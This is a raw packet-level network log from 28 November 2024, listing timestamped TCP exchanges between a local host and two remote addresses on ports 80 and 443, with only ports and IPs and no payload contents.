Nov 28, 2024 08:55:54.255954981 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.256057024 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.256742001 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.256798029 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.256836891 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.256877899 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.257711887 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.257725954 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.257765055 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.257778883 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.258393049 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.258441925 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.258521080 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.258563995 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.259202957 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.259260893 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.259442091 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.259502888 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.260019064 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.260071039 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.260124922 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.260281086 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.260891914 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.260915995 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.260947943 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.260981083 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.261950970 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.262033939 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.262080908 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.262777090 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.262821913 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.262836933 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.262868881 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.263386965 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.263457060 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.263501883 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.263581038 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.264210939 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.264269114 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.264306068 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.264374971 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.265100002 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.265158892 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.265192032 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.265239954 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.265876055 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.265932083 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.265986919 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.266040087 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.266716957 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.266768932 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.266832113 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.266875029 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.267587900 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.267651081 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.267760038 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.267823935 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.268408060 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.268475056 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.268512011 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.268623114 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.269256115 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.269315004 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.269368887 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.269431114 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.270114899 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.270176888 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.270302057 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.270390034 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.271060944 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.271125078 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.271146059 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.271202087 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.271764040 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.271821976 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.271868944 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.271919966 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.272650957 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.272730112 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.272761106 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.272813082 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.273444891 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.273508072 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.273562908 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.273633003 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.274274111 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.274363995 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.274413109 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.275100946 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.275161982 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.275199890 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.275324106 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.275937080 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.275996923 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.276032925 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.276132107 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.276796103 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.276853085 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.276894093 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.276947021 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.277611971 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.277700901 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.277797937 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.277848959 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.278585911 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.278637886 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.278860092 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.278908014 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.279609919 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.279716969 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.279753923 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.279779911 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.280210018 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.280270100 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.280284882 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.280338049 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.280957937 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.281024933 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.281063080 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.281111002 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.281755924 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.281801939 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.399033070 CET	443	49806	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:54.399055004 CET	443	49806	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:54.399122000 CET	49806	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:54.399147034 CET	443	49806	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:54.400471926 CET	49806	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:54.400511026 CET	443	49806	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:54.400574923 CET	49806	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:54.400907040 CET	49822	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:54.400928974 CET	443	49822	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:54.401063919 CET	49822	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:54.401700974 CET	49822	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:54.401710033 CET	443	49822	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:54.449708939 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.449733973 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.449778080 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.449810982 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.450026035 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.450040102 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.450073957 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.450088978 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.450546980 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.450608015 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.450639963 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.450681925 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.451108932 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.451165915 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.451178074 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.451221943 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.451519966 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.451571941 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.451596975 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.451647043 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.452306986 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.452356100 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.452367067 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.452406883 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.453130960 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.453188896 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.453226089 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.453270912 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.453984976 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.454066038 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.454093933 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.454138041 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.454807997 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.454873085 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.455667973 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.455681086 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.455715895 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.455728054 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.455765963 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.456474066 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.456538916 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.457010031 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.457081079 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.457323074 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.457380056 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.457549095 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.457622051 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.458154917 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.458209038 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.458380938 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.458466053 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.458983898 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.459055901 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.459137917 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.459186077 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.459820986 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.459877014 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.459892988 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.459923983 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.460676908 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.460802078 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.461002111 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.461056948 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.461524010 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.461587906 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.461870909 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.461918116 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.462377071 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.462389946 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.462452888 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.463176012 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.463231087 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.463316917 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.463413954 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.464039087 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.464051008 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.464116096 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.464883089 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.464896917 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.464945078 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.465720892 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.465733051 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.465781927 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.466502905 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.466573000 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.466851950 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.466906071 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.467375040 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.467387915 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.467442036 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.467456102 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.468437910 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.468450069 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.468487024 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.468508959 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.469110966 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.469122887 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.469171047 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.469922066 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.469934940 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.469985962 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.470690966 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.470748901 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.470771074 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.470959902 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.471523046 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.471580029 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.471848011 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.471910000 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.472345114 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.472404003 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.472573042 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.472650051 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.473182917 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.473239899 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.473290920 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.473409891 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.474014997 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.474080086 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.474256992 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.474327087 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.474858999 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.474925041 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.474936962 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.474988937 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.475688934 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.475740910 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.475888014 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.475939035 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.476608992 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.476622105 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.476667881 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.477380037 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.477427006 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.477449894 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.477498055 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.477675915 CET	443	49809	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:54.477708101 CET	443	49809	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:54.477768898 CET	49809	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:54.477797031 CET	443	49809	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:54.478307962 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.478319883 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.478357077 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.478387117 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.479055882 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.479100943 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.479104996 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.479146004 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.479379892 CET	49809	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:54.479428053 CET	443	49809	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:54.479484081 CET	49809	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:54.479782104 CET	49824	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:54.479809046 CET	443	49824	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:54.479866028 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.479880095 CET	49824	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:54.479908943 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.479919910 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.480025053 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.480454922 CET	49824	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:54.480468988 CET	443	49824	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:54.480715036 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.480763912 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.480806112 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.480866909 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.481211901 CET	443	49807	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:54.481575966 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.481615067 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.481667042 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.481851101 CET	443	49805	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:54.481873035 CET	443	49805	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:54.481916904 CET	49805	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:54.481930971 CET	443	49805	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:54.482139111 CET	443	49805	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:54.482197046 CET	49805	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:54.482387066 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.482439995 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.482889891 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.482945919 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.483201027 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.483261108 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.483481884 CET	49805	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:54.483490944 CET	443	49805	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:54.483915091 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.484062910 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.484074116 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.484103918 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.484143019 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.484349966 CET	443	49807	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:54.484411955 CET	443	49807	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:54.484426022 CET	49807	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:54.484460115 CET	49807	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:54.484875917 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.484927893 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.485124111 CET	49807	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:54.485127926 CET	443	49807	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:54.485527992 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.485598087 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.485743999 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.485755920 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.485783100 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.485810041 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.486567020 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.486641884 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.486690044 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.486730099 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.487440109 CET	80	49748	185.215.113.206	192.168.2.8
